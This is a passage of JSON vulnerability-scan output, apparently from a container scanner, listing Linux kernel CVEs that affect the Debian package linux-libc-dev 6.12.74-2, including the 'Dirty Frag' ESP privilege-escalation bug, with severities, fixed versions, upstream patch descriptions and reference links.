"https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43241" ], "PublishedDate": "2026-05-06T12:16:44.46Z", "LastModifiedDate": "2026-06-17T10:49:13.273Z" }, { "VulnerabilityID": "CVE-2026-43250", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43250", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d26b8fe185985b5fdfaa2c0bf9fa45333a3534f1147b4bbe72a7fc5e0a8c5003", "Title": "kernel: usb: chipidea: udc: fix DMA and SG cleanup in _ep_nuke()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: chipidea: udc: fix DMA and SG cleanup in _ep_nuke()\n\nThe ChipIdea UDC driver can encounter \"not page aligned sg buffer\"\nerrors when a USB device is reconnected after being disconnected\nduring an active transfer. This occurs because _ep_nuke() returns\nrequests to the gadget layer without properly unmapping DMA buffers\nor cleaning up scatter-gather bounce buffers.\n\nRoot cause:\nWhen a disconnect happens during a multi-segment DMA transfer, the\nrequest's num_mapped_sgs field and sgt.sgl pointer remain set with\nstale values. The request is returned to the gadget driver with status\n-ESHUTDOWN but still has active DMA state. If the gadget driver reuses\nthis request on reconnect without reinitializing it, the stale DMA\nstate causes _hardware_enqueue() to skip DMA mapping (seeing non-zero\nnum_mapped_sgs) and attempt to use freed/invalid DMA addresses,\nleading to alignment errors and potential memory corruption.\n\nThe normal completion path via _hardware_dequeue() properly calls\nusb_gadget_unmap_request_by_dev() and sglist_do_debounce() before\nreturning the request. The _ep_nuke() path must do the same cleanup\nto ensure requests are returned in a clean, reusable state.\n\nFix:\nAdd DMA unmapping and bounce buffer cleanup to _ep_nuke() to mirror\nthe cleanup sequence in _hardware_dequeue():\n- Call usb_gadget_unmap_request_by_dev() if num_mapped_sgs is set\n- Call sglist_do_debounce() with copy=false if bounce buffer exists\n\nThis ensures that when requests are returned due to endpoint shutdown,\nthey don't retain stale DMA mappings. The 'false' parameter to\nsglist_do_debounce() prevents copying data back (appropriate for\nshutdown path where transfer was aborted).", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43250", "https://git.kernel.org/linus/cea2a1257a3b5ea3e769a445b34af13e6aa5a123%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1497998749600411d75e60a44f7e572b2348bd9a", "https://git.kernel.org/stable/c/1b72b834511d17f4d069d512f78671f3f210a2f1", "https://git.kernel.org/stable/c/aad97c92119cb85db105ddda4a44c86cc0748e8c", "https://git.kernel.org/stable/c/cea2a1257a3b5ea3e769a445b34af13e6aa5a123", "https://git.kernel.org/stable/c/e74c436f8568af1c60942469d0a2300b3ada3857", "https://git.kernel.org/stable/c/f4fbf2d4750d12ac8525d2efac1016fa0d84d4ec", "https://lore.kernel.org/linux-cve-announce/2026050603-CVE-2026-43250-e395@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43250", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43250" ], "PublishedDate": "2026-05-06T12:16:45.62Z", "LastModifiedDate": "2026-10-30T13:18:49.393Z" }, { "VulnerabilityID": "CVE-2026-43260", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43260", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:05d803abd09420c7b764673a65401a6a19a425e6953461396b224db461d699a2", "Title": "kernel: bnxt_en: Fix RSS context delete logic", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt_en: Fix RSS context delete logic\n\nWe need to free the corresponding RSS context VNIC\nin FW everytime an RSS context is deleted in driver.\nCommit 667ac333dbb7 added a check to delete the VNIC\nin FW only when netif_running() is true to help delete\nRSS contexts with interface down.\n\nHaving that condition will make the driver leak VNICs\nin FW whenever close() happens with active RSS contexts.\nOn the subsequent open(), as part of RSS context restoration,\nwe will end up trying to create extra VNICs for which we\ndid not make any reservation. FW can fail this request,\nthereby making us lose active RSS contexts.\n\nSuppose an RSS context is deleted already and we try to\nprocess a delete request again, then the HWRM functions\nwill check for validity of the request and they simply\nreturn if the resource is already freed. So, even for\ndelete-when-down cases, netif_running() check is not\nnecessary.\n\nRemove the netif_running() condition check when deleting\nan RSS context.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/security/cve/CVE-2026-43260", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/e123d9302d223767bd910bfbcfe607bae909f8ac%20%287.0-rc2%29", "https://git.kernel.org/stable/c/079986d6db1f8e3d50c55f400cf998ac9690d2c8", "https://git.kernel.org/stable/c/348a5f8d06c7bdf954e13c17ad5f80b59a075604", "https://git.kernel.org/stable/c/9a9b89eea4a9cc7726702946ff688d716962fabd", "https://git.kernel.org/stable/c/e123d9302d223767bd910bfbcfe607bae909f8ac", "https://linux.oracle.com/cve/CVE-2026-43260.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050606-CVE-2026-43260-7443@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43260", "https://www.cve.org/CVERecord?id=CVE-2026-43260" ], "PublishedDate": "2026-05-06T12:16:46.883Z", "LastModifiedDate": "2026-11-06T16:18:30.107Z" }, { "VulnerabilityID": "CVE-2026-43281", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43281", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e2ba3725d55740ae00d72b4c67ac526668b2a8544005152b734e5b39a2c125c1", "Title": "kernel: mailbox: Prevent out-of-bounds access in fw_mbox_index_xlate()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmailbox: Prevent out-of-bounds access in fw_mbox_index_xlate()\n\nAlthough it is guided that `#mbox-cells` must be at least 1, there are\nmany instances of `#mbox-cells = \u003c0\u003e;` in the device tree. If that is\nthe case and the corresponding mailbox controller does not provide\n`fw_xlate` and of_xlate` function pointers, `fw_mbox_index_xlate()` will\nbe used by default and out-of-bounds accesses could occur due to lack of\nbounds check in that function.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43281", "https://git.kernel.org/linus/fcd7f96c783626c07ee3ed75fa3739a8a2052310%20%287.0-rc1%29", "https://git.kernel.org/stable/c/01d9a8c2615d436b2b30c19c1afe9fcd5726ff6d", "https://git.kernel.org/stable/c/2662ed331a69c0b551f78af58f12eb629a89a36f", "https://git.kernel.org/stable/c/2c7ff651ec6b660c7c96a36db9328b3232f555d8", "https://git.kernel.org/stable/c/31c4c67dec3362094a6747a171a4848e98542265", "https://git.kernel.org/stable/c/4caae8168d1b808c7d4ff481295292e3f97f90fb", "https://git.kernel.org/stable/c/ec0874447895b994182a962d2fee9ef075de5efd", "https://git.kernel.org/stable/c/f50b39fd7c72a8734153644ee945ca0d8b2e65ab", "https://git.kernel.org/stable/c/fcd7f96c783626c07ee3ed75fa3739a8a2052310", "https://linux.oracle.com/cve/CVE-2026-43281.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050614-CVE-2026-43281-6031@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43281", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43281" ], "PublishedDate": "2026-05-06T12:16:49.587Z", "LastModifiedDate": "2026-11-06T16:18:32.137Z" }, { "VulnerabilityID": "CVE-2026-43284", "VendorIDs": [ "DSA-6253-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43284", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:63cade4c187697fade7fe9003d311791384a93b159746b94affa672af4acbce0", "Title": "kernel: \"Dirty Frag\" ESP XFRM variant is a new universal Local Privilege Escalation (LPE) vulnerability in the Linux kernel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: esp: avoid in-place decrypt on shared skb frags\n\nMSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP\nmarks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(),\nso later paths that may modify packet data can first make a private\ncopy. The IPv4/IPv6 datagram append paths did not set this flag when\nsplicing pages into UDP skbs.\n\nThat leaves an ESP-in-UDP packet made from shared pipe pages looking\nlike an ordinary uncloned nonlinear skb. ESP input then takes the no-COW\nfast path for uncloned skbs without a frag_list and decrypts in place\nover data that is not owned privately by the skb.\n\nMark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching\nTCP. Also make ESP input fall back to skb_cow_data() when the flag is\npresent, so ESP does not decrypt externally backed frags in place.\nPrivate nonlinear skb frags still use the existing fast path.\n\nThis intentionally does not change ESP output. In esp_output_head(),\nthe path that appends the ESP trailer to existing skb tailroom without\ncalling skb_cow_data() is not reachable for nonlinear skbs:\nskb_tailroom() returns zero when skb-\u003edata_len is nonzero, while ESP\ntailen is positive. Thus ESP output will either use the separate\ndestination-frag path or fall back to skb_cow_data().", "Severity": "HIGH", "CweIDs": [ "CWE-123" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "http://www.openwall.com/lists/oss-security/2026/05/08/7", "http://www.openwall.com/lists/oss-security/2026/05/13/6", "http://www.openwall.com/lists/oss-security/2026/05/14/2", "http://www.openwall.com/lists/oss-security/2026/05/14/4", "https://access.redhat.com/errata/RHSA-2026:16061", "https://access.redhat.com/errata/RHSA-2026:16062", "https://access.redhat.com/errata/RHSA-2026:16100", "https://access.redhat.com/errata/RHSA-2026:16155", "https://access.redhat.com/errata/RHSA-2026:16157", "https://access.redhat.com/errata/RHSA-2026:16160", "https://access.redhat.com/errata/RHSA-2026:16161", "https://access.redhat.com/errata/RHSA-2026:16171", "https://access.redhat.com/errata/RHSA-2026:16176", "https://access.redhat.com/errata/RHSA-2026:16180", "https://access.redhat.com/errata/RHSA-2026:16195", "https://access.redhat.com/errata/RHSA-2026:16196", "https://access.redhat.com/errata/RHSA-2026:16201", "https://access.redhat.com/errata/RHSA-2026:16202", "https://access.redhat.com/errata/RHSA-2026:16203", "https://access.redhat.com/errata/RHSA-2026:16204", "https://access.redhat.com/errata/RHSA-2026:16206", "https://access.redhat.com/errata/RHSA-2026:16254", "https://access.redhat.com/errata/RHSA-2026:16312", "https://access.redhat.com/errata/RHSA-2026:16314", "https://access.redhat.com/errata/RHSA-2026:16328", "https://access.redhat.com/errata/RHSA-2026:17795", "https://access.redhat.com/errata/RHSA-2026:18025", "https://access.redhat.com/errata/RHSA-2026:19074", "https://access.redhat.com/errata/RHSA-2026:19225", "https://access.redhat.com/errata/RHSA-2026:19564", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:19572", "https://access.redhat.com/errata/RHSA-2026:19573", "https://access.redhat.com/errata/RHSA-2026:19574", "https://access.redhat.com/errata/RHSA-2026:19575", "https://access.redhat.com/errata/RHSA-2026:19577", "https://access.redhat.com/errata/RHSA-2026:21695", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:26542", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/security/cve/CVE-2026-43284", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://dirtyfrag.io/", "https://errata.almalinux.org/9/ALSA-2026-A005.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4", "https://git.kernel.org/stable/c/50ed1e7873100f77abad20fd31c51029bc49cd03", "https://git.kernel.org/stable/c/52646cbd00e765a6db9c3afe9535f26218276034", "https://git.kernel.org/stable/c/5d55c7336f8032d434adcc5fab987ccc93a44aec", "https://git.kernel.org/stable/c/71a1d9d985d26716f74d21f18ee8cac821b06e97", "https://git.kernel.org/stable/c/8253aab4659ca16116b522203c2a6b18dccacea7", "https://git.kernel.org/stable/c/a6cb440f274a22456ef3e86b457344f1678f38f9", "https://git.kernel.org/stable/c/ab8b995323e5237041472d07e5055f5f7dcdf15b", "https://git.kernel.org/stable/c/b54edf1e9a3fd3491bdcb82a21f8d21315271e0d", "https://git.kernel.org/stable/c/f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4", "https://git.kernel.org/stable/c/fe785bb3a8096dffcc4048a85cd0c83337eeecad", "https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo/tree/main", "https://github.com/V4bel/dirtyfrag", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.5.0/BRSA-5cj3pxj0c0jg.toml", "https://linux.oracle.com/cve/CVE-2026-43284.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-43284", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43284.json", "https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8389-1", "https://ubuntu.com/security/notices/USN-8390-1", "https://ubuntu.com/security/notices/USN-8390-2", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8392-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8616-1", "https://www.cve.org/CVERecord?id=CVE-2026-43284", "https://www.openwall.com/lists/oss-security/2026/05/07/8", "https://www.openwall.com/lists/oss-security/2026/05/08/7", "https://www.vicarius.io/vsociety/posts/cve-2026-43284-detection-script-dirty-frag-linux-kernel-local-privilege-escalation", "https://www.vicarius.io/vsociety/posts/cve-2026-43284-mitigation-script-dirty-frag-linux-kernel-local-privilege-escalation" ], "PublishedDate": "2026-05-08T08:16:43.827Z", "LastModifiedDate": "2026-09-08T09:18:03.953Z" }, { "VulnerabilityID": "CVE-2026-43328", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43328", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b38a2c78d9bc8a0203fc0fd26c59151a672ba0f55c2234fa66a5e62b5ee230c", "Title": "kernel: cpufreq: governor: fix double free in cpufreq_dbs_governor_init() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: governor: fix double free in cpufreq_dbs_governor_init() error path\n\nWhen kobject_init_and_add() fails, cpufreq_dbs_governor_init() calls\nkobject_put(\u0026dbs_data-\u003eattr_set.kobj).\n\nThe kobject release callback cpufreq_dbs_data_release() calls\ngov-\u003eexit(dbs_data) and kfree(dbs_data), but the current error path\nthen calls gov-\u003eexit(dbs_data) and kfree(dbs_data) again, causing a\ndouble free.\n\nKeep the direct kfree(dbs_data) for the gov-\u003einit() failure path, but\nafter kobject_init_and_add() has been called, let kobject_put() handle\nthe cleanup through cpufreq_dbs_data_release().", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43328", "https://git.kernel.org/linus/6dcf9d0064ce2f3e3dfe5755f98b93abe6a98e1e%20%287.0-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-43328.mbox", "https://git.kernel.org/stable/c/019ea28629720c220daedf38107c8787f330dc05", "https://git.kernel.org/stable/c/3bf9d023d2329a0e5379f2fd09d06ef09729cd9d", "https://git.kernel.org/stable/c/427d048e4f6acbfa01b5a8062449fe0ee8987c0d", "https://git.kernel.org/stable/c/4b9118e93d2499bb2808ef3742fa0ce06f4f8117", "https://git.kernel.org/stable/c/56bc91ee78babe9578585a2bc137abc4b3115ff3", "https://git.kernel.org/stable/c/6dcf9d0064ce2f3e3dfe5755f98b93abe6a98e1e", "https://git.kernel.org/stable/c/d2703b4f8fb7cc6f0dfdb2dc2359cc46189e7357", 